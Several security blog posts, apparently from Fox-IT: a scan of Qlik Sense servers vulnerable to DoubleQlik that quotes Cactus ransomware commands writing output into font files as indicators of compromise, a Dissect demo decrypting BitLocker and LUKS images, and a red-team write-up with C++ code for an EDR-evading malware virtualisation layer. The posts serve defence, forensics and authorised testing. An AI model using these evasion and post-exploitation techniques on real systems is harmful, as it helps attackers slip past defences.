We utilised Censys and Google BigQuery [6] to compile a list of potential Qlik Sense servers accessible on the internet and conducted a version scan against them. Subsequently, we extracted the Qlik release label from the JSON response to assess vulnerability to CVE-2023-48365.

Our vulnerability assessment for DoubleQlik / CVE-2023-48365 operated on the following criteria:

  1. The release label corresponds to vulnerability statuses outlined in the original ZeroQlik and DoubleQlik vendor advisories [7,8].
  2. The release label is designated as End of Support (EOS) by the vendor [9], such as “February 2019 Patch 5”.

We consider a server non-vulnerable if:

  1. The release label date is post-November 2023, as the advisory states that “November 2023” is not affected.
  2. The server responded with HTTP/1.1 302 Authenticate at this location.

Any other responses were disregarded as invalid Qlik server instances.

As of 17 April 2024, and as stated in the introduction of this blog, we have detected 5205 Qlik Servers on the Internet. Among them, 3143 servers are still at risk of DoubleQlik, indicating that 60% of all Qlik Servers online remain vulnerable.

Figure 2: Qlik Sense patch status for DoubleQlik CVE-2023-48365

The majority of vulnerable Qlik servers reside in the United States (396), trailed by Italy (280), Brazil (244), the Netherlands (241), and Germany (175).

Figure 3: Top 20 countries with servers vulnerable to DoubleQlik CVE-2023-48365

Identifying compromised Qlik Sense servers

Based on insights gathered from the Arctic Wolf blog and our own incident response engagements where the Cactus ransomware was observed, it’s evident that the Cactus ransomware group continues to redirect the output of executed commands to a True Type font file named qle.ttf, likely abbreviated for “qlik exploit”.

Below are a few examples of executed commands and their output redirection by the Cactus ransomware group:

whoami /all > ../Client/qmc/fonts/qle.ttf
quser > ../Client/qmc/fonts/qle.ttf

In addition to the qle.ttf file, we have also observed instances where qle.woff was used:

Figure 4: Directory listing with exploitation artefacts left by Cactus ransomware group

It’s important to note that these font files are not part of a default Qlik Sense server installation.

We discovered that files with a font file extension such as .ttf and .woff can be accessed without any authentication, regardless of whether the server is patched. This likely explains why the Cactus ransomware group opted to store command output in font files within the fonts directory, which in turn, also serves as a useful indicator of compromise.

Our scan for both font files, found a total of 122 servers with the indicator of compromise. The United States ranked highest in exploited servers with 49 online instances carrying the indicator of compromise, followed by Spain (13), Italy (11), the United Kingdom (8), Germany (7), and then Ireland and the Netherlands (6).

Figure 5: Top 20 countries with known compromised Qlik Sense servers

Out of the 122 compromised servers, 46 were not vulnerable anymore.

When the indicator of compromise artefact is present on a remote Qlik Sense server, it can imply various scenarios. Firstly, it may suggest that remote code execution was carried out on the server, followed by subsequent patching to address the vulnerability (if the server is not vulnerable anymore). Alternatively, its presence could signify a leftover artefact from a previous security incident or unauthorised access.

While the root cause for the presence of these files is hard to determine from the outside it still is a reliable indicator of compromise.

Responsible disclosure by the DIVD
We shared our fingerprints and scan data with the Dutch Institute of Vulnerability Disclosure (DIVD), who then proceeded to issue responsible disclosure notifications to the administrators of the Qlik Sense servers.

Call to action

Ensure the security of your Qlik Sense installations by checking your current version. If your software is still supported, apply the latest patches immediately. For systems that are at the end of support, consider upgrading or replacing them to maintain robust security.

Additionally, to enhance your defences, it’s recommended to avoid exposing these services to the entire internet. Implement IP whitelisting if public access is necessary, or better yet, make them accessible only through secure remote working solutions.

If you discover you’ve been running a vulnerable version, it’s crucial to contact your (external) security experts for a thorough check-up to confirm that no breaches have occurred. Taking these steps will help safeguard your data and infrastructure from potential threats.

References

  •  

Decrypting Full Disk Encryption with Dissect

Author: Guus Beckers

Back in 2022 Fox-IT decided to open source its proprietary incident response tooling known as Dissect. Since then it has been adopted by many different companies in their regular workflow. For those of you who are not yet familiar with Dissect, it is an incident response framework built with incident response engagements of any scale in mind. It allows you to extract artifacts from a variety of data formats and export them to a format of your choosing. Ever since Dissect has been open sourced a large number of individuals and institutions have contributed to the Dissect framework, culminating in the first Dissect partner day earlier in 2024.  

One of the most popular requests has been the capability to use Dissect in combination with common disk encryption methods like Microsoft’s BitLocker or its Linux equivalent LUKS. Internally at Fox-IT we were able to already use these capabilities. With the release of Dissect version 3.17 these capabilities are now also available to the community at large.  

Of course, a blog post is not complete without a demo. In this scenario a data acquisition has been performed against a disk protected with BitLocker. We are interested in a specific file located on the user’s desktop. During this scenario, a virtual machine was created with VMware Fusion which uses the .vmwarevm file format. Dissect can parse this format thanks to its associated loader.

First, we use Dissect to examine the disk properties:  

$ target-info "Windows 11 x64.vmwarevm" -v                                                                                                                                               
2024-11-27T11:57:18.474060Z [error    ] Failed to open an encrypted volume <Volume name='Basic data partition' size=67921509888 fs=None> with volume manager bitlocker: Failed to unlock BDE volume [dissect.target.volume] 
2024-11-27T11:57:18.634092Z [warning  ] <Target Windows 11 x64.vmwarevm>: Can't identify filesystem: <Volume name='Microsoft reserved partition' size=16776704 fs=None> [dissect.target.target] 
2024-11-27T11:57:19.416120Z [warning  ] <Target Windows 11 x64.vmwarevm>: Failed to find OS plugin, falling back to default [dissect.target.target] 
<Target Windows 11 x64.vmwarevm> 
 
 
Disks 
- <Disk type="VmdkContainer" size="68719476736"> 
 
 
Volumes 
- <Volume name="Basic data partition" size="104857088" fs="FatFilesystem"> 
- <Volume name="Microsoft reserved partition" size="16776704" fs="NoneType"> 
- <Volume name="Basic data partition" size="67921509888" fs="NoneType"> 
- <Volume name="part_fd7c00000" size="673185280" fs="NtfsFilesystem"> 
 
 
Hostname       : None 
Domain         : None 
Ips            : 
Os family      : default 
Os version     : None 
Architecture   : None 
Language       : 
Timezone       : None 
Install date   : 1970-01-01T00:00:00.000000+00:00 
Last activity  : None 

It seems the disk is encrypted, now we can use the latest version of BitLocker to decrypt the information.  Dissect supports three different types of decryption capabilities. An analyst can either use the user’s passphrase, the recovery key or can use a BitLocker file. Please check the updated documentation on the Dissect Docs page for more information.  For now we have created a keychain CSV file with the following information:  

$ cat keychain.csv 
bitlocker,recovery_key,,395791-328042-677721-279895-554466-214599-232023-709148 

We can use Dissect’s commands like target-info to check if the keychain works: 

$ target-info "Windows 11 x64.vmwarevm" -K keychain.csv                                                                                                                                     
2024-11-27T10:18:01.698079Z [warning  ] <Target Windows 11 x64.vmwarevm>: Can't identify filesystem: <Volume name='Microsoft reserved partition' size=16776704 fs=None> [dissect.target.target] 
2024-11-27T10:18:02.731474Z [warning  ] <Target Windows 11 x64.vmwarevm>: Empty hive: sysvol/windows/SECURITY [dissect.target.target] 
2024-11-27T10:18:02.737980Z [warning  ] <Target Windows 11 x64.vmwarevm>: Empty hive: sysvol/windows/SYSTEM [dissect.target.target] 
<Target Windows 11 x64.vmwarevm> 
 
 
Disks 
- <Disk type="VmdkContainer" size="68719476736"> 
 
 
Volumes 
- <Volume name="Basic data partition" size="104857088" fs="FatFilesystem"> 
- <Volume name="Microsoft reserved partition" size="16776704" fs="NoneType"> 
- <Volume name="Basic data partition" size="67921509888" fs="NoneType"> 
- <Volume name="part_fd7c00000" size="673185280" fs="NtfsFilesystem"> 
- <Volume name="Basic data partition" size="67921509888" fs="NtfsFilesystem"> 
 
 
Hostname       : SECRETDATAVM 
Domain         : None 
Ips            : 192.168.212.129 
Os family      : windows 
Os version     : Windows 11 Pro (NT 10.0) 26100.2314 
Architecture   : amd64-win64 
Language       : en_GB, en_NL, en_US 
Timezone       : Europe/Berlin 
Install date   : 2024-11-27T17:34:07.000000+00:00 
Last activity  : 2024-11-27T17:33:31.670376+00:00 

Alternatively, we can pass the recovery key value directly like this: 

$ target-info "Windows 11 x64.vmwarevm" -Kv 395791-328042-677721-279895-554466-214599-232023-709148 -v

Now we can browse through the decrypted filesystem and view the file on the user’s desktop: 

$ target-shell "Windows 11 x64.vmwarevm" -Kv 395791-328042-677721-279895-554466-214599-232023-709148 -q
                                                                                       
SECRETDATAVM:/$ cat c:/Users/Staff/Desktop/SuperSecretFile.txt 
Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.

As you can imagine this also works with Linux in the exact same manner.  This time we use a LUKS passphrase in conjunction with Dissect:

$ target-info "Ubuntu 64-bit 24.04.1.vmwarevm" -Kv glad-design-paper-airplane                                                                                                                          
2024-11-27T11:48:07.224355Z [warning  ] Failed to decode raw key as hex, ignoring: glad-design-paper-airplane [dissect.target.helpers.keychain] 
2024-11-27T11:48:08.910029Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Can't identify filesystem: <Volume name='part_00100000' size=1048064 fs=None> [dissect.target.target] 
2024-11-27T11:48:09.826056Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Unsupported mount device: /dev/disk/by-id/dm-uuid-LVM-YZiSLhoYFljS62k2vIjl3IcTwSkd0QguADKOf0a8t9am1jNdm9J1zerrDU7SWWFd / [dissect.target.target] 
<Target Ubuntu 64-bit 24.04.1.vmwarevm> 
2024-11-27T11:48:13.916382Z [warning  ] No timestamp found in one of the lines in /var/log/syslog! [dissect.target.helpers.utils] 
2024-11-27T11:48:13.925913Z [warning  ] Timestamp '27 2024 12:40:57' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.936096Z [warning  ] Timestamp 'Nov 2024 11:40:35' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.936416Z [warning  ] Timestamp 'Nov 2024 11:40:35' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.944841Z [warning  ] Timestamp 'Nov 2024 11:40:15' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.950083Z [warning  ] Timestamp 'Nov 2024 11:40:11' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:13.985809Z [warning  ] Timestamp 'Nov 2024 11:40:04' does not match format '%b %d %H:%M:%S', skipping line. [dissect.target.helpers.utils] 
2024-11-27T11:48:14.037897Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Could not match cloud-init log line in file: /var/log/cloud-init.log [dissect.target.target] 
2024-11-27T11:48:14.037992Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Could not match cloud-init log line in file: /var/log/cloud-init.log [dissect.target.target] 
2024-11-27T11:48:14.038056Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Could not match cloud-init log line in file: /var/log/cloud-init.log [dissect.target.target] 
 
Disks 
- <Disk type="VmdkContainer" size="21474836480"> 
 
Volumes 
- <Volume name="part_00100000" size="1048064" fs="NoneType"> 
- <Volume name="part_00200000" size="1902116352" fs="ExtFilesystem"> 
- <Volume name="part_71800000" size="19569573376" fs="NoneType"> 
- <Volume name="part_71800000" size="19552796160" fs="NoneType"> 
- <Volume name="ubuntu--vg-ubuntu--lv" size="19549650944" fs="ExtFilesystem">
 
Hostname       : personnel-VMware-Virtual-Platform 
Domain         : None 
Ips            : 
Os family      : linux 
Os version     : Ubuntu 24.04.1 LTS (Noble Numbat) 
Architecture   : x86_64-linux 
Language       : en_US, en_US 
Timezone       : Europe/Amsterdam 
Install date   : 2024-11-27T11:33:29.665213+00:00 
Last activity  : 2024-11-27T11:45:34.821181+00:00 

We can use the same technique to extract another file from the Ubuntu desktop: 

$ target-shell "Ubuntu 64-bit 24.04.1.vmwarevm" -K keychain.csv -v                                                                                                                           
2024-11-27T11:59:52.227142Z [info     ] Registered key Key(key_type=<KeyType.PASSPHRASE: 'passphrase'>, value='glad-design-paper-airplane', provider='luks', identifier=None, is_wildcard=False) [dissect.target.helpers.keychain] 
2024-11-27T11:59:52.227562Z [info     ] Registered key Key(key_type=<KeyType.RECOVERY_KEY: 'recovery_key'>, value='395791-328042-677721-279895-554466-214599-232023-709148', provider='bitlocker', identifier=None, is_wildcard=False) [dissect.target.helpers.keychain] 
2024-11-27T11:59:53.719915Z [info     ] Volume <Volume name='part_71800000' size=19569573376 fs=None> unlocked with Key(key_type=<KeyType.PASSPHRASE: 'passphrase'>, value='glad-design-paper-airplane', provider='luks', identifier=None, is_wildcard=False) (keyslot: 0) [dissect.target.volumes.luks] 
2024-11-27T11:59:53.922164Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Can't identify filesystem: <Volume name='part_00100000' size=1048064 fs=None> [dissect.target.target] 
2024-11-27T11:59:54.733524Z [info     ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Found compatible OS plugin: DebianPlugin [dissect.target.target] 
2024-11-27T11:59:54.770648Z [info     ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Found compatible OS plugin: LinuxPlugin [dissect.target.target] 
2024-11-27T11:59:54.791479Z [info     ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Found compatible OS plugin: UnixPlugin [dissect.target.target] 
2024-11-27T11:59:54.802888Z [warning  ] <Target Ubuntu 64-bit 24.04.1.vmwarevm>: Unsupported mount device: /dev/disk/by-id/dm-uuid-LVM-YZiSLhoYFljS62k2vIjl3IcTwSkd0QguADKOf0a8t9am1jNdm9J1zerrDU7SWWFd / [dissect.target.target] 

personnel-VMware-Virtual-Platform:/$ cat /home/personnel/Desktop/secretLinuxfile 
"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."

Last but not least, Dissect also contains the fve-dd utility.  fve-dd can be used to decrypt an entire disk which allows a wider range of external tools to be used. fve-dd works on any supported Dissect containers. The individual VMDK files can be extracted from the .vmwarevm container:

$ ls                                                                                                                                                                                           
Virtual Disk-s001.vmdk Virtual Disk-s002.vmdk Virtual Disk-s003.vmdk Virtual Disk-s004.vmdk Virtual Disk-s005.vmdk Virtual Disk-s006.vmdk Virtual Disk.vmdk

Now the disk can be decrypted using fve-dd. The decryption can take some time depending on the size of the disk:

$ fve-dd -p glad-design-paper-airplane -o decrypted.dd "Virtual Disk.vmdk" -v

Dissect and other tools can be used on the decrypted disk:

$ target-info decrypted.dd                                                                                                                                                                     
[…]

Disks
- <Disk type="RawContainer" size="21458059264">

Volumes
- <Volume name="part_00100000" size="1048064" fs="NoneType">
- <Volume name="part_00200000" size="1902116352" fs="ExtFilesystem">
- <Volume name="part_71800000" size="19569573376" fs="NoneType">
- <Volume name="ubuntu--vg-ubuntu--lv" size="19549650944" fs="ExtFilesystem">

Hostname       : personnel-VMware-Virtual-Platform
Domain         : None
Ips            :
Os family      : linux
Os version     : Ubuntu 24.04.1 LTS (Noble Numbat)
Architecture   : x86_64-linux
Language       : en_US, en_US
Timezone       : Europe/Amsterdam
Install date   : 2024-11-27T11:33:29.665213+00:00
Last activity  : 2024-11-27T11:45:34.821181+00:00

Have fun with the latest version of Dissect!  

  •  

Red Teaming in the age of EDR: Evasion of Endpoint Detection Through Malware Virtualisation

Authors: Boudewijn Meijer && Rick Veldhoven

Introduction

As defensive security products improve, attackers must refine their craft. Gone are the days of executing malicious binaries from disk, especially ones well known to antivirus and Endpoint Detection and Reponse (EDR) vendors. Now, attackers focus on in-memory payload execution for both native and managed applications to evade defensive products. Meanwhile, defensive technologies are becoming increasingly sophisticated, which is forcing attackers to further adapt. In times of such an arms race, how does an attacker stay ahead? And how can malware be future-proofed to evade the sophisticated EDR systems that currently exist and are actively being developed?

This blog post reviews the evolution of one of Fox-IT’s evasive tools, designed to aid in payload delivery during Red Teaming engagements. We will touch on the tool’s history and its future potential in the face of offensive and defensive progress.

Historical Perspective

The core of the arms race between malware and antimalware is as follows: antimalware must classify arbitrary programs, in memory or at-rest, as either benign or malicious while operating under a set of constraints. The products are constrained by the amount of performance a user or customer is prepared to surrender in terms of CPU time, memory or bandwidth while the classification takes place, and by how many false-positives the product generates. If the product is too resource intensive, a customer will complain it is slow. If it quarantines important documents, it potentially does more harm than good. These constraints shape and limit each step in the evolution of antimalware products. Not only AV vendors need to worry about performance when writing tools. Malware authors need to take execution speed, or other system changes, into account when deploying malware. Take for example the recently uncovered XZ1 backdoor that was spotted by a software engineer due to an increase in login time from 0.2 to 0.8 seconds. Had the authors of this piece of code not observably changed the behavior of the system, the backdoor would have likely been deployed successfully.

Since the early days of viruses circulating on floppy disks, writing undetected malware has been a cat-and-mouse game between attackers and defenders. Originally, antivirus software focused strictly on true-positive detection of viruses on the basis of signatures and patterns in a program’s instructions. Absent a mistake in the signature database, a unique signature match guarantees a true-positive match of a malicious sample after which the malicious file can be removed or quarantined. This method of detection strongly adheres to the constraints placed on antimalware products, because simple pattern matches are performant and true-positive detection is almost guaranteed.

For malware authors, the solution was simple: to evade detection, the virus must be made impossible to detect through a unique pattern. This may be achieved by changing the code, or by encrypting the code and decrypting it at runtime. If you automate this, you get what is called a packer: a tool that encrypts, compresses or otherwise changes a virus to evade detection. A packer changes the majority of the code in the virus and adds a stub to the code. This stub is often the first piece of code that is executed when the program is launched. Its job is to undo all changes previously made to the original code (e.g. compression or encryption). After all changes are reverted, execution will be passed to the original code. This stub can also make use of anti-reversing/anti-tampering code that attempts to protect the original code from prying eyes.

This reduces the amount of “attack surface” for signature creation for samples that are on the disk or otherwise stored at rest. This method is also used to compress binaries for distribution, allowing for smaller release packages. Therefore, not all compressed binaries can be marked as malicious.

However, even very small unpacker stubs may match a signature that can be uniquely tied to the packer itself. Combining this signature with some rules related to the amount of entropy in a file, a packer can still be detected with a high degree of accuracy. At this point, the antimalware solution has evolved to utilize metadata about a file, such as entropy, obtaining the ability to detect packed files but at the cost of a higher false-positive rate.

The next step in the arms race for malware authors is to eliminate the potential for a signature match in the unpacker stub. This means that the stub must consist of different instructions each time a new sample is created. An important insight is that “what the code does” and “how the code looks” are not 1:1 mappings. There are infinitely many ways to write down computer code to achieve a certain effect or result. There are therefore infinitely many ways in which a particular unpacking algorithm can be written. A packer that is designed to create the unpacking stub that looks different each time can be called polymorphic. The algorithm or code that performs the changes is called a polymorphic engine2.

Combining a packer with a polymorphic engine eliminates the “attack surface” for simple signature matches of malware at-rest. Fox-IT has written and maintained two polymorphic packers like this since 2015. Although they still produce good results against modern EDR, even these tools are getting more and more difficult to sneak past defenses. That’s because there’s a conceptual flaw in the polymorphic packer: the original malicious code is still decrypted at some point in order to execute. If antimalware products can time the moment to start scanning for malicious patterns when the packer has finished decoding the malicious code, then detecting malware becomes easy again.

Modern operating systems and processors try to ensure that not all data in a computer’s memory can be executed as code for safety reasons3. Particularly, systems are typically designed to prevent the execution of code from writable pages. Therefore, a virus or malware sample that wants to decrypt and/or decompress its own code must first make the changes in writable memory pages. After, the virus changes the page protection to readable and executable and transfers control to the newly modified executable memory. Antimalware products equipped to analyze the behavior of other programs at runtime make use of behavioral patterns like this to decide when to scan the memory of a process for malicious patterns. Because the memory, once decrypted, cannot be changed anymore due to the aforementioned limitations, scanning a process after making memory executable is the ideal time to spot malicious patterns.

Antimalware products that are equipped with rules that generate additional signals to determine if a program is malicious or not, are said to employ “heuristics”. Conceptually, antimalware products have achieved a comprehensive set of features to detect malware execution. The evolutions we’ve seen since the early days of these feature complete products can all be understood as attempts to loosen or lift the constraints set out above: “Cloud-based protection” runs resource intensive heuristics on someone else’s computer; adding human oversight, the “R” in “EDR” lowers the impact of a false-positive and brings humans into the detection and response loop.

How then, can a Red Team smuggle their malware past these new and advanced defenses? In the past, a virus writer might employ what is called a “metamorphic” engine4. This is an algorithm designed to re-write the entire virus each time it infects a new file, including the entire metamorphic engine itself. Using it ensures that there is never one ‘true’ virus sample that can be detected with a static signature; each copy of the virus is completely different. With a tool like this you would not need a packer, because there are no static patterns that can ever be uniquely tied to your virus. However, the explosion in modern software complexity and the requirement for malware to work on a variety of systems

Hiding From Analysis: Virtualisation

To hide from both static and dynamic analysis of payloads, the generated sample must be resilient to code inspection and code flow analysis. If the real instructions are not revealed to an observer, hardly any conclusions can be drawn from the outer shell. If this is achieved, defensive products would be met with the following limitations when inspecting the payload:

  • Difficult to observe instruction patterns;
  • Difficult to patch instructions;
  • Difficult to ignore instructions;
  • Difficult to predict behavior.

Hiding instructions is not something new. Products like VMProtect5 cloak parts of the code by embedding a virtual machine and generate unique instructions to be executed on this VM. Code that is to be virtualized must be identified either by a marker added to the source code or by the presence of a PDB file containing the symbols. This requirement is something that cannot always be met when using third-party tools. Additionally, this type of protection is aimed at protecting specific functions, like license key checking algorithms, limiting the use for an adversary. Lastly, using existing tools can have a negative impact on the detection ratio, as these products are heavily researched and can contain static signatures like hardcoded section names.

Considering the benefits of a virtualisation layer, however, it is clear that this technique is very powerful.

Creating a Custom Virtualisation Layer

It was decided that a virtualisation layer should be created. This layer consists of a virtual machine implementing opcodes6, and bytecode7 executing on the virtual machine. The virtualisation layer that was to be created must match the following requirements and limitations:

  1. Bytecode instructions are executed sequentially;
  2. Bytecode instructions are hidden before and after execution;
  3. The instruction set supports basic x86-64 instructions only;
  4. The virtual machine must provide an interface to the system API;
  5. The virtual machine implementation must be simple and position independent to support morphing;
  6. The virtualisation layer must work without access to source code or debug symbols.

Creating a virtualisation layer started with a design of the instructions to be executed, the virtual machine, and the supported instruction set. Additionally, the layout of the final payload was created where all data must be present in a position independent format and could be executed like shellcode. This allows the payload to be embedded in other executable formats (e.g. executables or DLLs), and allows for dynamic execution when staging malware.

For example, the following layout would allow for the above functionality. In this example, the virtual machine must start with a correcting stub that correctly sets the virtual machine argument registers to their respective values:

Example of a data structure containing all required building blocks within position independent code.

The Anatomy of an Instruction

To keep the virtual machine architecture simple, an instruction format was created to be consistent in length between instruction and operand types. This design decision allows the omission of a Length Disassembler Engine (LDE)8, and can simply use the instruction pointer as an index to the current instruction. All information present in normal, non-SSE9/AVX10 x86 instructions must be included.

At its core, an instruction identifies the operation that must be performed, and optionally what data is provided in the form of operands. An operand can be one of three types:

  1. Immediate value: a constant value embedded in the instruction;
  2. Memory location: a memory location pointed to by the instruction;
  3. Register: a register, or part of one, identified by the instruction.

In order to obtain data from an operand, a generic format must be created that encompasses the different operand types. It was decided that a single 64-bit field could be used to hold the different types of operands, as all of the necessary data of the aforementioned types can be embedded into 64 bits.

The structures below show the layout of each operand type:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct ImmediateOperand {
Value value; // A constant value
}; // size: 8 bytes
struct MemoryOperand {
uint8_t size; // The effective size of the operand (8, 16, 32, 64 bits)
uint8_t base; // A regiser holding a pointer value to the base address
uint8_t index; // A register holding the index of the array
uint8_t scale; // A constant multiplier of 1, 2, 4, or 8
int32_t displacement; // A value to be added to the calculated address
}; // size: 8 bytes
struct RegisterOperand {
uint8_t reg; // A base register of the x86-64 register set
uint8_t chunk; // The specific register chunk: low, high, word, dword, qword
uint16_t size; // The effective size of the operand (8, 16, 32, 64 bits)
uint32_t pad; // Padding to meet the 64 bit size requirement
}; // size: 8 bytes
union Operand {
ImmediateOperand imm; // View the data as an immediate operand
MemoryOperand mem; // View the data as a memory operand
RegisterOperand reg; // View the data as a register operand
}; // size: 8 bytes
view raw operand.h hosted with ❤ by GitHub

Note: The Value type of the immediate operand is a simple union with (u)int8_t to (u)int64_t members. This makes it trivial to index the correct data during implementation of opcodes.

To indicate the instruction’s opcode, a single 1-byte value can be used. This provides 256 unique opcodes, which should be enough to implement basic behavior. Lastly, the type of each operand must be embedded within the instruction format, as opcode implementations must be able to interrogate these types.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Instruction {
uint8_t opcode; // The opcode of the instruction
uint8_t lparam_type : 4; // The type of the first (left) operand
uint8_t rparam_type : 4; // The type of the second (right) operand
Operand lparam; // The first (left) operand
Operand rparam; // The second (right) operand
}; // size: 18 bytes
view raw instruction.h hosted with ❤ by GitHub

Protecting Instructions

To meet requirement two, “Instructions are hidden before and after execution”, instructions are protected using encryption. Many encryption algorithms can be used to hide instructions. However, it is required for the instruction size to remain the same, as the instruction will be decrypted and encrypted in-place and will not be moved to a temporary buffer. This removes the necessity for dynamic memory allocation from within the virtual machine. Additionally, the chosen encryption scheme must be trivial to implement, as the code will be located in the virtual machine and thus create an ‘attack surface’ for signature detection. Implementing complex algorithms is detrimental to the ability to effectively manipulate the code using a polymorphic engine.

The Anatomy of the Virtual Machine

The virtual machine resembles a virtual CPU, implementing all the available opcodes. Furthermore, the available registers, CPU flags, and stack are part of the virtual machine object. Lastly, the virtual machine holds a pointer to the bytecode buffer necessary for execution. An added benefit of implementing the virtual machine is that the real stack is also abstracted away. Heuristics that attempt to spot malicious behavior from the stack will not succeed.

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
struct Context {
uint32_t ip; // Instruction pointer
uint8_t flags; // CPU flags to be manipulated by opcodes
Register registers[17]; // General Purpose Registers (rax, … r15 and gs)
Instruction* instructions; // A pointer to the start of the bytecode buffer
uint8_t stack[STACK_SIZE]; // The virtual machine stack
};
view raw context.h hosted with ❤ by GitHub

Functions to initialize the virtual machine context, to obtain the current instruction, and to load and store values based on the instruction operands were created to aid in the implementation of opcodes within the virtual machine.

Once initialized, the virtual machine can enter its dispatch loop. This loop consists of obtaining the current instruction and executing the opcode identified by the opcode field in the instruction object. The instruction is decrypted before execution and is encrypted after. A dispatch function could be implemented as follows:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
void dispatch_instruction(Context* vm) {
uint32_t ip = vm->ip;
decrypt_instruction(vm, ip);
switch (vm->instructions[ip].opcode) {
case Opcode::ADD: opcode_add(vm); next_instruction(vm); break;
case Opcode::AND: opcode_and(vm); next_instruction(vm); break;
case Opcode::BT: opcode_bt(vm); next_instruction(vm); break;
}
encrypt_instruction(vm, ip);
}
view raw dispatch.cpp hosted with ❤ by GitHub

An attentive reader may have noticed the construction of the temporary variable ip, which is used in further operations. This originates from the fact that any instructions modifying the instruction pointer, like jcc, call, and ret, will result in a modified instruction pointer when the opcode is finished. Therefore, the instruction pointer can no longer be used to re-encrypt the original instruction that was executed.

Implementation of a Basic Opcode

The following function implements the bit test (bt) opcode11:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
void opcode_bt(Context* vm) {
// get the current instruction from the context
Instruction* i = get_current_instruction(vm);
// load the value and the bit to test
Value dst = fetch_value(vm, i->lparam_type, i->lparam);
Value src = fetch_value(vm, i->rparam_type, i->rparam);
// get the size in bits of the value to check
size_t size = get_operand_size(i->lparam_type, i->lparam);
// set the carry flag to the result of the bit test
switch (size) {
case 8: vm->flags.cf = (dst.u8 & (1 << src.u8)) != 0; break;
case 16: vm->flags.cf = (dst.u16 & (1 << src.u16)) != 0; break;
case 32: vm->flags.cf = (dst.u32 & (1 << src.u32)) != 0; break;
case 64: vm->flags.cf = (dst.u64 & (1ull << src.u64)) != 0; break;
}
}
view raw opcode_bt.cpp hosted with ❤ by GitHub

Improving the Bytecode Process: Transpiling

Initially, all bytecode created to execute in the virtual environment was written in assembly by hand. This provided the control needed to make sure specific opcodes and operand types were used, and as a test a PE loader was implemented in bytecode. As this limitation came at a major cost in development time and flexibility, a new method of generating bytecode was used: compiling and transpiling of C/C++ programs. This was chosen over using output directly from the assembler, as parsing these text files proved to be cumbersome and error-prone. Instead, the resulting linked binary was fed to a disassembler.

The disassembling of a binary is performed using the iced-x86 library12. This library allows for the conversion of x86 instructions to the custom format -described in the earlier section: The Anatomy of an Instruction– by checking the opcode of the instruction, the types of operand(s) and its value(s). Eventually, once all the x86 instructions are converted, the now transpiled bytecode can be interpreted by the virtual machine.

The bytecode generation process from source code to eventual bytecode.

The implementation of the transpiler instantly enabled us to support a large amount of existing tools, and made writing new tools easier. Most Position-independent Code (PIC)13 tools that compile from C/C++, including some BOFs14, can also be ported to execute on the virtual machine with relative ease.

Limitations to Bytecode Implementation

One of the limitations of the virtual machine implementation is shared with that of the bytecode. PIC must be created in order to generate valid bytecode that executes on the VM. In practice, this means that everything is relative to the current instruction pointer, and no references to other libraries or parts of other sections can exist:

  • No static variables;
  • No global variables;
  • No strings;
  • No static dependencies on libraries.

Supporting Native API Calls

To allow interfacing with the OS layer, bytecode must be able to perform native API calls. A translation layer must exist between the bytecode and native environment. The call instruction is used by compilers to invoke APIs, requiring the virtual machine’s call implementation to support this translation. Unfortunately, once a call instruction is encountered, no information is known to the virtual machine related to the number of arguments that must be forwarded. To resolve this problem, the bytecode can prepend the number of arguments when calling an API, giving the virtual machine layer enough information to translate the call into native execution. To programmatically perform this task, variadic arguments in C++ templates can be used to automatically deduce the amount of arguments passed:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
template <typename Ret, typename … Args>
struct apicall<Ret(Args…)> {
static decltype(auto) call(const void* target, Args … args) {
constexpr size_t nargs = sizeof…(Args); // Calculate the number of arguments passed
using f = Ret(__stdcall*)(size_t, Args…); // Define the signature of the API to call
return ((f)target)(nargs, args…); // Invoke the API and return its result
}
};
int main() {
FARPROC _Sleep = get_address_of_sleep();
apicall<decltype(Sleep)>::call(_Sleep, 10'000);
return 0;
}
view raw apicall.cpp hosted with ❤ by GitHub

